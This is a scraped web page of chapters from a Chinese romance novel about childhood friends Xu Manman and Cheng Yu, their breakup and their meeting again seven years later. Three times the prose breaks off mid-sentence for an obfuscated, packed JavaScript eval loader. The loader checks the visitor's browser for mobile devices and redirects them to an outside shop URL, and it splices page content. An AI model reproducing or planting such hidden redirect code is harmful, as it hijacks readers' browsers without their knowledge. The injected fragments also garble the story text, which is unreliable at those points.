她从没想过程喻会不去实验,应该说,所有人都没想过。 可是分数出来之后,许曼曼去和同学逛街回来,看到程喻妈妈也在,和妈妈正说着什么,两个人表情都有点严肃。 见她回来,妈妈先问:“曼曼,小喻有跟你聊过填志愿的事吗?” 填志愿?她先是愣了一下,随即又觉得,这有什么可聊的。 她分数足够升高中部,而程喻也足够上实验,这种一清二楚的事,要怎么聊。 “怎么了?”她问,是真的觉得有些莫名其妙。 然后就得知,程喻提出要留在一中,不去实验。 “我和他爸爸当然是尊重他的意愿,但实在是。”程喻妈妈有些不理解的样子,“他竟然说,因为实验校服不好看。” “……” 程喻在家打游戏,戴着耳机,没有听到许曼曼进来的声音。 许曼曼瞄了眼屏幕,战况正酣,她没理会,直接给他摘了耳机。 程喻吓了一跳,看到是她,又看回了屏幕。 “回来了?”他说,“帮我把耳机线拔了。” 他两只手都在操作,许曼曼没搭理他,靠在书桌边,皱起眉头。 “你怎么没跟我说?” “什么?” 他听出话里不高兴的意思,抬眼看了她一眼。 “报志愿的事啊。”许曼曼抱着手臂,“你不去实验?开什么玩笑呢?” “没开玩笑。” 程喻这才明白她在说什么,自己伸手拔了耳机线,游戏声音传了出来。 他仍然在盯着电脑,说道:“而且我跟你说过了啊。” 许曼曼记起中考前那个下午,他带着笑意说出的话,可她以为那是在开玩笑。 听着也的确不像是什么正经做出的决定。 “那到底是为什么?”她不理解地说,“别跟我说什么校服之类的废话。” 他没看她,继续着手上的动作。 “就是因为校服啊,我不想穿橙绿相间的校服,所以就不去,有什么问题吗?” “程喻!”许曼曼不耐烦地敲了下电脑,“你给我认真点!” 他终于停下玩游戏,抬眼看她。 “好,那我认真说。” 脸上挂着笑,却并不是在开玩笑的样子。 “我不打算去实验,至于为什么,没有为什么,说不上来,但就是不想去,可以吗?” 许曼曼意识到他说的是认真的,可她还是觉得难以理解。 游戏里传来厮杀的声音,他还在盯着许曼曼。 “是因为我吗?”她只想出这一个可能性,“因为我考不上实验,所以你留下来陪我?” “不是。”他回答得很干脆。 见她似乎并不相信的样子,又摇了摇头。 “真的不是。” 许曼曼皱起眉头,听到他说。 “我在哪里区别不大,都能考好,所以想留在一中就留在一中了。” 这话是实话,许曼曼相信他能做到。 但是,能做到并不代表就应该这样做。 “那,如果我想让你去实验呢?” “理由呢?” “我想吃他们校门口的炸鸡。” “又不是只有在那里上学才能买。”他笑了,“想吃的时候我去给你买,保证买到,可以吗?” 许曼曼盯着他看:“你真不去实验?” “你真那么想吃炸鸡?” “别学我!” “曼曼。”他收起笑容,看着她,“实验和一中对我来说,真的没什么区别。如果有的话,那大概就在于,我的心情。而我现在的心情是,留在一中。” 心情,程喻什么时候成了按心情行事的人了。 许曼曼最后看了他一眼,没说话,把耳机丢给他,走了。 * 于是他们陷入短暂的冷战,而且是许曼曼单方面的。 她没再问这事,听妈妈说,程喻原本还是和爸爸妈妈商量的态度,但那天晚上,直接自己填了志愿,只填了一中。 这件事可以说是,程喻长这么大以来,做过唯一一件离谱的事。 因为他一直都是那种别人家的孩子,就像妈妈说的,什么事都能做好,从不让家长操心。 当然,程喻爸爸妈妈也的确尊重他了的意愿,没有干涉。 一中校长自然高兴得很,可以说,对这件事持消极态度的,似乎只有实验招生办,和许曼曼。 她不怎么搭理程喻,直到录取结果出来,尘埃落定的那天。 结果是上午出的,虽然没什么意外,但查完之后,她还是给妈妈打了个电话,又接着看起了动漫。 没多久,听到楼下有人来,她知道是程喻,于是立刻把卧室门锁了。 没一会儿就听到敲门,程喻的声音。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921041|190428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “曼曼?” “她不在。” 门口传来很轻的笑声,他装模作样叹了口气。 “是吗,那没办法了,既然不在家,炸鸡只好等她回来再吃了。” “……”许曼曼忍不住问,“实验门口那家?” “对。”他说,“刚出锅的,要吃吗?” 许曼曼终于屈尊走过去,开了门。 程喻站在外面,见到她第一句话就是:“不生气了?” “看炸鸡好不好吃了。”她哼了一声,下楼去了。 这家炸鸡是真的很好吃,她没吃两口心情就变好了。 程喻又在旁边献殷勤,给她倒了果汁,又主动收拾桌子,给花浇水,小时工似的。 “你能不能别在我眼前晃!”许曼曼拍了下桌子,“坐下!” 他立刻过来老实坐下。 许曼曼挑了一块炸鸡给他:“吃。” “我不——” 他看到许曼曼的脸色,废话消失,张嘴吃了进去。 咽下去之后立刻问:“你不生气了?” 许曼曼哼了一声:“看在炸鸡的分上。” 其实这两天她想了想,自己也没想清楚生气的点。 程喻不想去实验,留在一中,自己为什么会生气呢? 他明明说了跟自己没关系,可怎么就是一股说不上来的火气? 心情,她大概也是心情问题。 这么想着,看了眼坐在对面的程喻。 这人手撑着脸,看着她吃东西,脸上是不加掩饰的笑意。 “你笑什么?” “我们要一起上三年高中了。”他说,“你不高兴吗?” “不高兴。”许曼曼翻了个白眼,“烦。” “烦也没办法。”他语气轻快,“事情已成定局喽许曼曼同学。” 许曼曼白了他一眼,继续吃炸鸡。 那种浮躁的情绪倒是渐渐消散了,她嚼着炸鸡,心里想,算了。 反正也就这一次。 * 初三到大三,过去六年。 星港到白汀,跨越大半个中国。 许曼曼现在的心情,却和吃着炸鸡的那天中午,完全不一样。 董旬把她交给程喻之后,三个人就分开了。 古城到湖边不算太远,走过去风也没有很大,她就没有穿外套。 夜晚的湖边和白天完全不一样的感觉,远处有灯火围绕,可湖面还是一片抹不开的深色,昏昏暗映出满天星光。 今晚有很好的月亮。 晚上没什么人,许曼曼直接坐到了地上。 “地上凉。”程喻叫她,“先起来,我给你垫了衣服再坐。” “不用。”许曼曼仰起脸,拽他的衣角,“你也坐。” 于是他也坐下,把外套伸展开,给她盖着腿。 又试了试她手的温度:“真的不冷?” “不冷。” 湖水拍岸,微风送来清爽的水汽。 像这样安静地坐在一起,抬头看星星,什么都不做只是看星星,已经很久没有过了。 “小鱼。”她说,“你那时许了什么愿望?” 这话有些没头没尾的,可程喻知道她在说什么。 “我也忘了。” 他声音很轻,又问她:“你呢?” 许曼曼没有许过愿望,那天晚上看到的流星,她最后忘了许愿。 他说的却不是这个。 “现在看到星星了,心情好点了吗?” 他还记着这个呢。 酒气在此刻有些上涌,淡淡的柠檬味,让她想起自己十九岁最后那个生日蛋糕。 还有程喻给她做过的柠檬挞。 还有什么?运动会时一起吃的柠檬味百醇,还是放在他书包里的柠檬海盐薄荷糖? 记忆在一点一点成型,又一点一点消散。 有些话必须快些说出口,现在不说就说不出来了。 “小鱼。” “嗯?” “我们分手吧。” 37. 喜欢 话说出口的一瞬间,周围突然变得好安静,安静得能听到湖水平缓流动的声音。 “你醉了。”程喻说,“我们回去吧。” “没有,程喻,我很清醒。” 或者说,许曼曼觉得自己从没有这么清醒过。 半晌沉默,他再开口的时候语气很平静。 “你认真的?” “对。”许曼曼没有看他。 “看着我的眼睛,再说一遍。” 于是她转头,对上他的眼睛。 “程喻,我们分手吧。” 说实话真的很讨厌,在这样的地方,这样的时刻,在满天星空下说分手。 她真讨厌。 “理由呢?” “小鱼,我是喜欢你的,但这种喜欢,好像不是我以为的那种喜欢。” 她原本以为说这话会很艰难,但竟然没有。话说出口很流畅,就像已经在脑海中演练过千万遍似的。 “我把对朋友的感情,误以为是喜欢了。” “对不起,我怕失去你这个朋友,所以一直在假装。” 程喻先转开了视线。 “现在不是说这个的时候。”他说,“你喝酒了,我们明天再说。” 见他要起身,许曼曼立刻伸手拉住他。 “不行。” 程喻动作顿住,转头看她。 她语气几乎有些急切:“我没醉,我说的都是真心话。” 视线转到她拉住自己的手上,程喻凉凉地笑了。 “你这么急着和我分手?” “不是!” 她急忙缩回手,这才意识到自己确实显得很着急。 “也不是,就是。”她看着程喻,“我说的都是认真的,就算明天也一样。” 他站起身,又伸手把她拉了起来。 语气平淡,听不出什么情绪。 “那也明天再说。” * 回去客栈,董旬他们已经回来了。 院子里很热闹,一群人正凑在一起玩桌游,董旬立刻招呼他们一起。 现在当然不是玩桌游的心情,许曼曼正犹豫要怎么开口,程喻直接拒绝了。 “有点累,我们就不玩了。” 陈林语在旁边点头:“对,让他们休息吧,明天还要早起呢。” 两个人都是明天上午的飞机,分别飞西岭和华都。 董旬哦了一声,这才想起来。 “忘了你们要先走了,那早点休息吧。” 和大家道别回了房间,没有人说话之后,房间里突然就显得很安静。 许曼曼从这安静中品味出一丝尴尬,这在她和程喻的相处中,是很难出现的。 但在提了分手之后同处一室,大概任谁也不会无动于衷。 她是那种从外面回来必须要先歇一会儿才能做事的人,这会儿也不觉得累了,逃避似的钻进浴室洗澡,算作一种鸵鸟行为。 洗完澡出来,看到程喻正在露台上,夜灯勾勒出他的背影,对着乌沉沉的山色湖水,不知道在想什么。 还没走近,他却已经感觉到了,回头看她。 “洗完了?” “嗯。” “时间不早了,你先睡吧。” 他进了房间,把露台门关好。 “我睡沙发。” “啊?”许曼曼愣了下,随即说,“不用,没关系的。” 房间里只有一张床,沙发虽然并不算小,但他长手长脚的,睡起来肯定不舒服。 “我睡沙发。” 他重复了一遍,语气里没有商量的意思,没再多说什么,转身进了浴室。 留许曼曼一个人在房间里,突然觉得有些无力。 气氛比预想的还要糟糕,她在房间里茫然地兜了几圈,觉得还是快点睡比较好,不然只会更尴尬。 只关了顶灯,她躺到床上,还是给他留出了位置。 本来以为会睡不着,可不知道是来自身体还是精神上的疲累,几乎是刚闭上眼睛,就这么睡了过去。 睡得并不安稳,断断续续地做梦,梦里画面情节都很混乱,却一直在下雨。 这雨实在下了太久,梦境长出潮湿的苔藓,耳边始终有淅淅沥沥的雨声,她醒来还有些恍惚。 是程喻叫醒她的,睡梦里隐约听到他的声音。 “曼曼,该起床了。” 一直以来,他都是这样叫醒她的。 她终于睁开眼睛,看到他站在床边,离得没有很近。 难怪声音很轻,不在耳边。 做了太多杂乱无章的梦,她感觉头昏脑涨,慢吞吞坐起身来,想要看眼窗外,窗帘却还没有拉开,只开了一盏灯,光线有些昏暗。 “下雨了吗?” 她开口问他,声音带着刚睡醒的沙哑。 “没有。” 程喻走到窗边,拉开了窗帘,阳光洒进来,映出满室明亮,今天仍然是个大晴天。 * 晴天真不是什么分手的好时机,还不如下雨呢,看着外面的大太阳,会有种自己在无病呻吟的感觉。 当然,这是许曼曼个人的想法。 收拾好行李,和董旬陈林语道别,离开民宿去机场。 这过程中一切都和之前一样,没什么变化。 程喻依旧帮她整理东西,提醒她收好证件,帮她拎行李箱开车门。 依旧情绪稳定,语气温柔,无微不至。 她开始疑心昨晚也只是自己的一场梦,湖边的星空下,其实她并没有说出口。 只是晚上睡得太快,早上又起得太晚,不知道程喻是不是真在沙发上睡的。 不得不说,自己还真是心大,这种情况下竟然也就睡过去了,还睡得很熟。 也不知道到底是心大,还是没心。 到了机场,托运完行李之后还有时间,两人去咖啡馆吃了早饭。 许曼曼那份三明治照例没有西 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“你亲我的时候,说想我的时候,说爱我的时候,都把我当朋友?” 她必须承认,这真比想象中要困难许多。 “……对。” “许曼曼。”他语气嘲讽,“你自己觉得这合理吗?” “我说了,就算不是喜欢,我们也是朋友啊,朋友之间的感情。” “朋友?” 他像是被气笑了。 “你对别的朋友,也会这样是吗?” “不,不是,只有你。” 她话说得很乱,却没什么底气的感觉。 “你是不一样的,所以我才想要留住你。小鱼,我——” 话没说完,广播里传来提醒登机的声音。 旁边排起的长队已经开始移动,座位上陆续有人起身,到时间了。 她没有动,手里还在拽着那根充电线,有些艰难地开口。 “所以你的回答呢?” 他没在看她,目光落在别处,不笑时有些冷淡的侧脸,在此刻意外的柔和。 落地窗外,是白汀晴朗的春日清晨。 “我们之间,不一直是你想怎么样就怎么样吗?” “你想做朋友就做朋友,想说爱我就说了,现在想分手就分手。” 他终于转头看她。 “我的回答重要吗?” 窗外有飞机起飞,寂静地划过天空。 “对不起。”她说,“小鱼——” “别这么叫我。” 他再次打断她的话,语气冷淡。 许曼曼僵住,抬眼看他。 他却没再看她,也没再说什么,就这样起身离开了。 38. 选择 这算分手了吗,不知道,但从那天起,两个人就这样从彼此的世界消失了。 许曼曼回到学校,过上了没有程喻的生活。 就像从来没有认识过,就像生命中原本就没有他那样。 关于分手的事,她没跟任何人说,但却很快就被发现了。 她虽然原本就喜欢发呆,最近几乎是梦游状态,上课坐在那里就开始神游,下课铃响了都不知道,林乔收拾好书包才发现人还在盯着黑板。 走在路上也不看路,经过路口险些被自行车撞到,还是林乔拉了一把才堪堪避过。 “到底怎么了?!”林乔手上还在拉着她,问道,“一天天的精神恍惚,要是我不在,或者那不是自行车是汽车,你就被撞了!” 许曼曼不说话,想起每次和程喻走在一起,她也总是不看路,因为知道他一定会拉住自己。 “吵架了?” 林乔看着她的表情,猜了个大概。 “最近都没见程喻找你,是不是你又闹别扭了?他又怎么惹着你了?给你发消息的时间不对,还是忘了帮你给爱豆投票?” “我们分手了。” “……什么?” 林乔愣住,看她不像是在开玩笑的样子,一时有些说不出话来。 两人在沉默中走了一会儿,她似乎才理清思路。 “你提的吧?” “嗯。” “那……他同意了?” “算是吧。” “什么叫算是?” 前面就是宿舍楼,林乔停下脚步,拉住了她。 “你好好跟我说说,到底怎么了?” 站在路边的树荫下,许曼曼把来龙去脉都告诉了她。 这才长出一口气,那种闷闷的,胸口像被什么堵住的感觉,才算消退了一点。 却换成林乔紧皱着眉头。 “我不理解。”她说,“为什么你的结论是分手呢?” “我不想他再为了我,选择另一种人生了。” “那是他的事。” 林乔声音大了些,皱眉看她。 “小姐,那是他要做的选择,不是你。” “他已经做过一次选择了。” “所以你就这样,什么也不说,替他做一次选择?” 说着,她又摇头。 “不对,你说了挺多,伤人的话一句也没少。” “不这样的话,他不会同意分手的。” 许曼曼简单地说。 “所以你就假装自己从来没喜欢过他?”林乔有些无语,“说你傻吧,这种时候你又聪明起来了。干吗不告诉他你已经知道了呢?把事情摊开来,听听他的想法,两个人谈一下啊。” “我不用听也知道。”许曼曼语气肯定,“如果我劝他去美国,他就绝对不会再去了,就算分手也不可能。” “不好意思,我听不太懂。” 林乔试图理解失败,干脆跳过这个问题。 “好,就算你了解他吧,可是曼曼,你考虑过后果吗?” “如你所愿,他要是去了美国,那么无非两种结果,留下或者回来。” “留下的话,那不用说,你们之间就完了。就算他回来,肯定也是分隔两地,你们现在家也不在同一个地方了,也许见面都很难,这样跟在美国也没区别。” “还有,就这样分开的话,也许几年,也许很快,他会交新的女朋友,到时和别人结婚生小孩,这些你都无所谓?就为了所谓的他的另一种人生,你都能接受?” “你不要忘了,他可能会拥有的这另一种人生,还有一个名字,就是没有许曼曼的人生。” 许曼曼沉默了很久。 已经过了下课的点,路边经过的人渐渐少了,而在夏日午后的蝉鸣中,在香樟树的树荫下,林乔替她说出了内心最深处的恐惧。 “我都想过。” 许曼曼终于抬起头来,看着她。 “可是我也在想,如果当年,我是说最开始的时候,程喻爸爸没有调职过来,他们一家还在云溪,程喻没有和我一起长大,也许他会拥有更好的人生。” “又来了。”林乔靠在树上,神情有些无奈,“还要多好?到底怎么样才算更好的人生?他现在还不够好啊?” “我和他不是同一种人。”许曼曼说,“林乔,应该去大海的鱼,不该留在湖里。” “反了吧?” 林乔笑了,提醒她。 “你忘了?星港才是海滨城市,云溪只有湖没有海,这是你跟我说的。” 许曼曼又不说话了。 于是她收起笑意,叹了口气。 “你一定会后悔的。” “嗯。” 许曼曼点头。 “但我还是要这样做。” * 七月开始放暑假,在去东澜之前,许曼曼先回了趟家。 最近实在是很累,精神有些恹恹的,做什么都提不起劲来,她感觉自己必须回家待几天,才有力气去实习。 妈妈看到她,第一反应就是瘦了。 对此很是心疼,忙着给她做好吃的,又炖补品,可许曼曼实在没什么食欲。 饭桌上对着一堆汤汤水水,不能说吃不下,只好找天气的原因,说太热了。 “东澜更热呀。”妈妈看起来有些担心,“感觉气色也不好,你这样去实习能行吗?身体怎么吃得消?” “没事的。”她忙打起精神,解释道,“就是期末周有点累,考的都是专业课,每天复习到很晚,没怎么睡好。” “行,那你这几天多睡会儿,把觉补回来。” 说着,妈妈把汤碗递给她。 “但汤还是要喝完。” 于是许曼曼真的什么都不做,每天在家睡觉。 手机电脑都不看,房间里整天拉着窗帘,睡得天昏地暗,感觉真把前段时间没睡的都补回来了。 在学校的时候不怎么睡得着,每天晚上在床上干躺着,明明很累很困,可总要熬到天亮,外面都已经有晨光了,才能勉强睡上一两个小时。 睡不好觉,整个人都浑浑噩噩的,再加上连着四门专业课考试,能坚持下来还真挺不容易的。 回了家,家里的床却好像掺了安眠药似的,躺在自己的房间里,周围的一切都让人昏昏欲睡,一种什么也不需要考虑的安心感,只要睡觉就好。 她就这样睡了三天,每天只被妈妈催着起床吃饭,但也只吃一两顿,其余时间真的几乎都在睡。 下午妈妈不在家,她仍然开了很低的冷气,蒙着被子睡觉。 回来之后也不怎么做梦,总是睡得很沉。 直到手机响了,铃声像从很远的地方传来,不知道响到第几声,她终于醒了。 妈妈通常会在这个时间打电话,这两天许曼曼睡得太多,她已经开始转为另一种担心了。 许曼曼摸过手机,闭着眼睛接了起来。 “喂?” 声音沙哑,还带着朦胧的睡意。 电话那边却是沉默,一时间只有微弱的电流声。 她睁开眼睛,突然意识到了什么。 “曼曼。” 果然是程喻。 “嗯。” 她彻底清醒过来,握着手机的手一片冰凉,大概是空调温度太低了。 “出来一下好不好?” 出去? 她愣住,还没有反应过来,就听到他说。 “我在小公园。” * 许曼曼心里慌慌的。 白汀机场分别之后,两个人再没见过,也没有任何联系。 就在她已经快要接受分手这个事实的时候,他突然打来电话,这中间的两个月时间,好像又不复存在了。 她急急忙忙爬起来,洗漱完又换衣服。 衣柜都没怎么整理,回来时的行李箱还摊在地上,她挑裙子的时候没留意,一下子撞到了腿。 她疼得直吸气,却在腿上传来的剧烈疼痛中,突然清醒过来。 面前就是全身镜,她看着镜子里的自己,想到这并不是什么久别重逢的约会,两个人都已经分手了,她现在是在干什么? 于是最后只穿了一条普通的蓝裙子。 回来之后还没出过门,在昏暗的房间待久了,外面的大太阳几乎让人有些眩晕。 下午了气温还是很高,她一路走过去,手心却冰凉。 还没走近,就看到等在秋千旁的程喻,真是好久违了的画面。 他也瘦了,白衬衫裁出瘦瘦长长一条人,湮在夏天的光里,剪影朦胧,像一场旧梦。 她停下脚步,竟然有些不敢上前。 可是下一秒他抬眼看过来,距离算不上近,其实她看不太清楚,但好像能在脑海中描摹出他的眼神。 在这沉默的注视中,许曼曼走过去,却没有靠近秋千,往后几步站到了树荫下。 这其中疏远的意味太明显,程喻微微蹙眉,似乎想说什么,但最终还是没说。 两个人对峙似的,分别站在光与影的一侧。 许曼曼先开了口,问他。 “你怎么来了?” 他沉默着看她,像在进行什么心理斗争。 “我来是想问你。” 他终于开口,语气有些艰涩。 “曼曼,可不可以不分手?” 许曼曼愣住。 这话实在是她始料未及,两个月过去了,他竟然还在纠结这个问题。 她一时不知道该怎么回答,顿了顿。 “我以为我们已经分手了。” 努力让自己语气显得很轻松,好像这已经是既定事实。 “曼曼。” 程喻上前两步,走到光与影的交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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她抬起头来,随手拉开拉链,伸手进去摸了一下。 里面却是有东西的。 她愣了下,掏出来一看,是一张拍立得。 是她和程喻两人的合照,脸贴着脸,她自己举着拍立得拍的。 她挤着眼睛,做了搞怪的表情,程喻脸上也是笑着的。 这才记起来,是过年那会儿两人出去放烟花,她带了拍立得,回来之后整理照片,发现刚好还剩一张相纸。 于是随手捞过旁边的程喻,拍了这张自拍。 只是不记得什么时候把照片放到这里来了。 只是为什么偏偏在这个时候看到。 漫天漫地的雨声中,她看着照片上两个人的笑脸,终于还是哭了。 * 晚上妈妈下班回来,许曼曼还在睡。 妈妈进来,开了灯坐到床边,轻声叫她。 “曼曼,还睡吗?” 一边很轻地摸着她的头,许曼曼终于醒过来。 因为哭过的原因,眼睛有些睁不开。 抬手挡住灯光,问了句。 “还下雨吗?” “还在下。”妈妈凑近了一点看她,“怎么哭过了?” 她还有些发懵,没有回答。 “到底是怎么了?”妈妈担忧地说,“明天就要走了,你这个样子我怎么放心?” “和程喻分手了。”她轻声说。 妈妈愣住,半晌才问。 “怎么了呢?” “也没怎么。” 她放开手,从被子里露出整张脸来。 “妈妈,你别说我。” 妈妈看着她,叹了口气。 “怎么会说你呢。” 于是她凑过去,把头埋到妈妈的怀里。 声音从衣服下传出来,闷闷的。 “我有点难受。” 妈妈抱住她,一下一下地,轻轻拍着她的后背。 “好了,没事了。” 她在妈妈温暖的怀抱中,再次睡了过去。 梦里程喻没有搬走,他们也还没有经历这些,甚至没有在一起。 她还是初中时的她,早上起得很晚,又磨蹭了半天,才换上校服从楼上下来。 程喻正在楼下等她,也穿着一中浅蓝色的校服。 仰起脸看她,还是变声之前,有些稚嫩的声音。 他说:“曼曼,今天真的要迟到了。” 许曼曼看了他一眼,理直气壮的。 “迟到就迟到!” 外面还在下着雨,她就这样沉沉睡去,在雨声中做一个没有分开的梦。 39. 重逢 下雨天。 许曼曼被堵在周末傍晚的车流中,一动不动。 前方是绵延不绝的红色车灯,她在看到车子移动的希望之前,先接到了赵宜杭的电话。 “还要多久?”他说,“我到了。” “还有两公里,看这样子,再等我两小时吧。” “我是能等,别人可等不了啊。”他笑了一声,“再晚一点,搞不好他们直接结婚了。” “……你正常一点。” 车流突然动了起来,许曼曼跟上前面的车子,一边警告他。 “我马上到了,你等我来了再说好吧!别惹事!” “我能惹什么事?” 那谁知道,就是因为不知道他会惹出什么事,许曼曼才要跟来的。 这人正在欧洲开演奏会,已经去了一个多月了,昨天临时飞回来,竟然是因为听说姜蔚要相亲。 也不知道他国内到底布了什么眼线,消息灵通,连这种事都知道。 只是七年过去,这两人之间唯一的变化,就是姜蔚也变成了单身。 她谈过大概两段恋爱,都没持续多久,之后就一直单身。 这也都是许曼曼从赵宜杭那里听来的。 两个同样单身的人,关系却并没有什么进展,就这么不明不白地耗着。 赵宜杭似乎也没有要在一起的打算,却在人家要相亲的时候,又路远迢迢从欧洲跑回来。 谁都不要好过这句话,似乎才是他一直在贯彻的人生格言。 刚好是周末,许曼曼和他一起去,想的是打个掩护,必要时还可以拉住他。 毕竟以此人的精神状态,不一定会搞出什么事。 他现在大小也算是个公众人物,要是被人拍了发到网上,对他对姜蔚都不好。 结果台里临时有事,她只好先去加班,两个人分头行动,到餐厅集合。 是市中心一家高层餐厅,据说景观很好,许曼曼还从来没有来过。 就是下雨天这边会更堵,明明是周末,硬是开出了比工作日晚高峰还夸张的架势。 她停好车之后看眼时间,比预计晚了快二十分钟。 赵宜杭自然等不及,已经先上去了。 许曼曼匆忙上去,两人也是订了位的,服务员确认之后带她进去。 到了却发现没人,她站在桌前,有些茫然地环顾四周。 然后,在窗边的座位看到赵宜杭的一瞬间,顿时两眼一黑。 这个疯子,也不知道怎么想的,竟然就这么过去了,三个人正坐一起呢。 她站在原地迟迟不动,领位的服务员正有些诧异,这时赵宜杭一个转头,看到了她。 他脸上原本就挂着笑,看到许曼曼,笑得更是神秘莫测,招手示意她过去。 身旁的姜蔚顺着他的动作看过来,看到许曼曼,愣了一下,随即也是一笑。 许曼曼只好回以微笑,对服务员简单解释了一下,硬着头皮走过去。 其实他们原本这个位置刚刚好,距离不远不近,视野也好,观察那边的情况很方便。 不是说好了先观察,看看情况再见机行事吗,自己就晚到一会儿,这人怎么就过去了。 而且他就坐在姜蔚身边,跟人家相亲对象面对面,像什么样子。 许曼曼一边在心里骂人,一边不情不愿走过去。 姜蔚先打了招呼:“曼曼,好久不见。” “姜蔚姐。”许曼曼努力挤出一个无辜的微笑,“这么巧。” 这是套过的说辞,假装两个人也是过来吃饭的,不知道这个疯子有没有按照计划来,但也只能这样了。 “是挺巧的。” 没想到是赵宜杭先接话,却并没有看她,面带微笑,看向姜蔚那个相亲对象。 许曼曼从那边过来,这人的位置是背对着她的,也就没有看到样貌。 不过从刚才起,她就隐隐觉得这身影有些眼熟,说不上来的奇怪感觉。 这会儿顺势看过去,没想到他也正看着自己。 四目相对,许曼曼礼貌的微笑立刻僵在脸上。 谁能告诉她,程喻为什么会在这里。 * 外面的雨还在下,透过氤氲的雨雾看出去,就是灯火夜雨中的东澜。 这景观确实很好,可许曼曼却是如坐针毡。 事情到底是怎么发展到如此荒诞的地步,说实话她真的有点搞不清楚了。 七年没见的前男友,重逢竟然是在他的相亲现场,到底是造过多大的孽才会这样。 拜赵宜杭所赐,两人相亲变成了四人聚餐,偏偏还只剩程喻身边的位置,许曼曼只能坐下。 好在这样倒是不用和他对视,看不到人,就可以努力假装他不存在。 她把目光投向对面的罪魁祸首,赵宜杭还是那副似笑非笑的样子,看着程喻。 眼下话题正进行到提问环节。 “你们是怎么认识的?” 说实话许曼曼也有点好奇,于是竖起了耳朵。 “朋友介绍。” 回答的人却是姜蔚。 这个各自心怀鬼胎的餐桌上,只有她不怎么知情。 “朋友介绍……” 赵宜杭还在看着程喻,好像这问题是他回答的。 “哦。”想了想,做出一副恍然大悟的样子,“这该不会是相亲吧?” 许曼曼正吃了口东西,险些被呛到。 努力压住咳嗽,拿过杯子喝水,听到他还在继续拙劣的表演。 “不好意思,应该没打扰到你们吧?” 许曼曼喝着水,装作若无其事的样子,直接抬腿踢了他一脚。 动作幅度不敢太大,力道就没那么足,但这人注意力转移,总算是看了过来。 四目相对,许曼曼只恨自己不能一个眼神把所有的话都说出口,但还是尽可能地表达了自己的想法。 他微微一笑,不知道有没有理解到她的意思。 两人在这边无声交流,旁边的程喻突然开了口。 “那你们呢?” 说实话,作为一个来相亲的人,他话未免也太少了。 餐桌上就只有赵宜杭一个人在活跃,姜蔚还会答上几句,他几乎没怎么说话。 也不知道来相亲的到底是谁。 至于许曼曼,她是一个专心吃饭的哑巴。 这会儿对话里突然出现自己,她还没反应过来,旁边的姜蔚接上了话。 “对啊,你们在一起有几年了?六七年总有了吧?” 一语惊四座,许曼曼瞪大了眼睛,看到对面的赵宜杭也愣住了。 她这才想起来,两人当时在姜蔚面前扮过情侣。 只是她一直以为那是一次性的,当时姜蔚虽然说过之后有机会再见,但一直也没机会,这事就被她遗忘了。 什么意思,赵宜杭根本就没澄清过吗? 她在姜蔚这里的印象,不会还是赵宜杭的女朋友吧? 正不知道要怎么回答的时候,她手机响了。 平时听着很厌烦的铃声,此刻简直天籁一般。 看了眼,这可不是什么相亲时会设定的闹铃,真是工作电话。 她立刻松了口气,如蒙大赦一般站起身。 “不好意思,有个工作电话,我去接一下。” 说完,也没管其他人的反应,逃一般离开了现场。 去了外面接起电话,声音是从没有过的感谢。 “怎么了?” 对面是科技组新来的记者汪思瀚,今天去加班就是两人一起,许曼曼先走了,他留下来处理别的稿件。 他打来就是稿件的事,其实问题不大,就是几个细节。 但是许曼曼立刻表示:“行,我回去看一下。” “啊?”汪思瀚愣住,“不用,曼曼姐,我弄就行。” “没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962705|190428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关系,我刚好回去有事,不差这一点了。” 许曼曼做出一副热爱工作的样子。 “你不用管了,发给我就回去吧,辛苦了。” 汪思瀚受宠若惊地答应了,她挂掉电话,又去洗手间做了下心理建设,才打算回去说一声走人。 然而回去却发现,桌边就剩程喻一个人了。 * 许曼曼呆住,自己也就去了几分钟的工夫,怎么两个大活人就消失不见了。 正在茫然之际,程喻像是感觉到了一样,转头看过来。 刚才见到的时候,他视线只在许曼曼身上短暂停留,点了下头就算打招呼,角度细微到不仔细看都察觉不到。 这之后就一眼也没看过她,全当她不存在。 现在只剩两个人了,他似乎也没有要装不认识的意思,隔着几步远的距离,就这么盯着她,目光沉沉,看不出什么情绪。 许曼曼顶着这视线走过去,压力很大。 “那个。”她说,尽量让自己看起来镇定一点,“他们人呢?” 程喻看着她,语气不咸不淡的。 “不知道。” “哦,那……啊?” 许曼曼傻子一样,只发出一些无意义的单音节。 他却没有要解释的意思,换了话题。 “你们在一起了?” “没有!” 她回得很快,几乎是条件反射般的否认。 说完才觉得不对,感觉自己像是很着急解释似的。 只是现在姜蔚不在,就没必要假装,而且在关于赵宜杭的事上,她的确不想让程喻误会。 虽然现在这局面又莫名混乱,而且对他来说,应该也没什么值得误会的。 毕竟都过去了,是吧? 不过既然说到这里,她觉得自己还是有必要解释一下。 于是又坐了下来,但没有坐回原位,而是坐到了对面赵宜杭的座位上。 这下终于面对面,她看着程喻没有波澜的眼睛,却突然有些语塞。 不是七天,也不是七个月,而是七年。 